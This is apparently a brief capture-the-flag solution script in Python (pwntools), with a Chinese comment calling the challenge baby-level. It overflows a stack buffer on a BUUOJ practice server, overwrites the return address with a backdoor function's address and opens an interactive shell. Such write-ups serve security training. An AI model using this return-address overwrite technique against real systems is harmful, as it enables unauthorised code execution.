exp 脚本

  真的是 baby 难度，直接栈溢出跳转到后门函数

from pwn import * 

io = remote('node3.buuoj.cn',25930)

backdoor = 0x4006e6

payload = 'a' * (0x10+8) + p64(backdoor)

io.sendline('100')
io.sendline(payload)

io.interactive()